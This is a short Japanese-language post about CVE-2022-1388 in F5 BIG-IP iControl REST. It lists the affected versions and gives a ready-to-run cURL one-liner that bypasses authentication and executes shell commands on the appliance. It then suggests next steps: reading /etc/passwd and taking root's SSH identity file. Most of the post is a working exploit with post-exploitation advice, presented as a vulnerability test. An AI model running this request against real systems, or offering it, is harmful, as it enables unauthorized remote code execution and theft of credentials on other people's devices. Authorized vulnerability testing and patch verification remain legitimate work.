
CVE-2022-1388 BIG-IP iControl REST RCE をテストするための cURL ワンライナー
F5 BIG-IP の 16.1.x 系(16.1.2.2 未満)、15.1.x 系(15.1.5.1 未満)、14.1.x 系(14.1.4.6 未満)、13.1.x 系(13.1.5 未満)、および全 12.1.x 系と 11.6.x 系において、未公開のリクエストにより iControl REST 認証がバイパスされる可能性があります。
この脆弱性をテストするには、以下の cURL ワンライナーを使用してください。
curl -k --header "Host: 127.0.0.1" --header "Authorization: Basic YWRtaW46YWRtaW4=" --header "X-F5-Auth-Token: asdf" --header "Connection: X-F5-Auth-Token" --header "Content-Type: application/json" https://$IPADDRESS/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}'
Authorization フィールドには任意の base64 エンコード値を指定できます。上記の例では admin:admin を使用しています。サーバーが脆弱な場合、これらは有効な認証情報である必要はなく、任意の base64 エンコード値が機能します。
上記のコマンドが ID を返した場合、cat /etc/passwd で /etc/passwd を読み取ったり、cat /root/.ssh/identity でルートの SSH 証明書を取得したりするなど、さまざまな操作を試すことができます。